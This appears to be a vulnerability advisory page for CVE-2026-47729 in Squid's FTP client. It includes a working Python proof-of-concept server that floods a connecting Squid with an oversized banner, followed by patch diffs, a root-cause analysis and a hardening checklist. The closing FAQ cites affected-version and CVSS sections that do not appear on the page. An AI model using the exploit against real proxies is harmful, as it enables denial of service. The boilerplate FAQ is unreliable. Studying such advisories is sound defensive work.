SECURITY ADVISORY / 01

CVE-2026-47729 Exploit & Vulnerability Analysis

Complete CVE-2026-47729 security advisory with proof of concept (PoC), exploit details, and patch analysis for squid-cache-squid.

squid-cache-squid products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Attacker needs control of the upstream FTP server that the Squid FTP client/gateway is connecting to.

#!/usr/bin/env python3
import socket

payload = b'220 ' + b'A' * 25000000 + b'\r\n'

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(('0.0.0.0', 2121))
    srv.listen(1)
    conn, addr = srv.accept()
    with conn:
        conn.sendall(payload)

Start this malicious FTP server and point the vulnerable Squid FTP client at it; the initial FTP banner is enough to trigger the bug.

When the request lands, the vulnerable code accepts the oversized FTP control reply and begins repeatedly reallocating ctrl.buf without a hard upper bound. The attacker sees the Squid process consume tens of megabytes of memory or fail the FTP session as the reply buffer grows uncontrollably.

What the Patch Did

Before:

buf = static_cast<char*>(memAllocBuf(4096, &size));
...
if (ctrl.offset == ctrl.size) {
    ctrl.buf = static_cast<char*>(memReallocBuf(ctrl.buf, ctrl.size << 1, &ctrl.size));
}
...
comm_read(ctrl.conn, ctrl.buf + ctrl.offset, ctrl.size - ctrl.offset, reader);
while (strchr(w_space, *copyFrom))
    ++copyFrom;
...
if (strchr(w_space, *copyFrom))
    ++copyFrom;

After:

buf = static_cast<char*>(memAllocBuf(min(size_t(4096), Config.maxReplyHeaderSize), &size));
...
const auto maxSize = min(Config.maxReplyHeaderSize, std::numeric_limits<decltype(ctrl.size)>::max());
if (ctrl.offset >= maxSize) {
    debugs(9, 2, "FTP control reply size will exceed " << maxSize << "; reply_header_max_size=" << Config.maxReplyHeaderSize);
    failed(ERR_FTP_FAILURE, 0);
    return;
}

if (ctrl.offset == ctrl.size) {
    const auto newSize = (ctrl.size <= maxSize/2) ? (ctrl.size*2) : maxSize;
    Assure(newSize > ctrl.size);
    ctrl.buf = static_cast<char*>(memReallocBuf(ctrl.buf, newSize, &ctrl.size));
    Assure(ctrl.offset < ctrl.size);
}
...
const auto maxOffset = min(ctrl.size, Config.maxReplyHeaderSize);
Assure(maxOffset > ctrl.offset);
Assure(maxOffset <= ctrl.size);
const auto maxReadSize = maxOffset - ctrl.offset;
comm_read(ctrl.conn, ctrl.buf + ctrl.offset, maxReadSize, reader);
while (*copyFrom && strchr(w_space, *copyFrom))
    ++copyFrom;
...
if (*copyFrom && strchr(w_space, *copyFrom))
    ++copyFrom;

The patch enforces an explicit maximum on FTP control reply size using Config.maxReplyHeaderSize, aborts the transaction if the reply exceeds that cap, and prevents strchr() from reading past the end of the string during gateway parsing.

Root Cause

This was a classic unchecked resource-allocation bug in Squid's FTP client plus a companion out-of-bounds read in the FTP gateway parser. Untrusted data from the FTP server enters via ctrl.conn and is appended into ctrl.buf; because ctrl.offset was allowed to grow without checking against Config.maxReplyHeaderSize, the code kept doubling the buffer and could exhaust memory (CWE-770). Separately, the gateway parser advanced copyFrom over whitespace using strchr(w_space, *copyFrom) without first checking whether *copyFrom was the NUL terminator, creating an out-of-bounds read (CWE-125).

Why It Works

The load-bearing fix is the early size check:

if (ctrl.offset >= maxSize) { ... failed(ERR_FTP_FAILURE, 0); return; }

Without that line, the FTP client would still be able to consume a reply larger than the configured maximum and continue reallocating ctrl.buf indefinitely. The other additions are defense-in-depth: capping the initial allocation to Config.maxReplyHeaderSize avoids allocating more than necessary, the newSize logic prevents memReallocBuf from growing past the maximum, and maxReadSize ensures comm_read never requests more bytes than the bound allows. In the gateway parser, the added *copyFrom && guards are the actual fix; they ensure strchr() is only called on valid string bytes, preventing the crash/out-of-bounds read when the whitespace scan reaches the end of the input buffer.

Hardening Checklist

  • enforce explicit header/message limits before dynamic buffer growth, e.g. use min(Config.maxReplyHeaderSize, SIZE_t) and fail early.
  • do not double-buffer without a known upper bound; always clamp realloc targets to a configured maximum.
  • guard string scanning loops with *p != '\0' before calling functions like strchr().
  • treat every network reply as untrusted and validate protocol headers before storing them in heap-backed reply buffers.
  • use sane size checks on both allocation and read lengths, such as maxReadSize = min(ctrl.size, maxAllowed) - ctrl.offset.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-47729

Frequently asked questions about CVE-2026-47729

What is CVE-2026-47729?

CVE-2026-47729 is a security vulnerability identified in squid-cache-squid. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-47729?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-47729. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-47729 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting squid-cache-squid. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-47729?

CVE-2026-47729 affects squid-cache-squid. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-47729?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for squid-cache-squid.

What is the CVSS score for CVE-2026-47729?

The severity rating and CVSS scoring for CVE-2026-47729 affecting squid-cache-squid is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.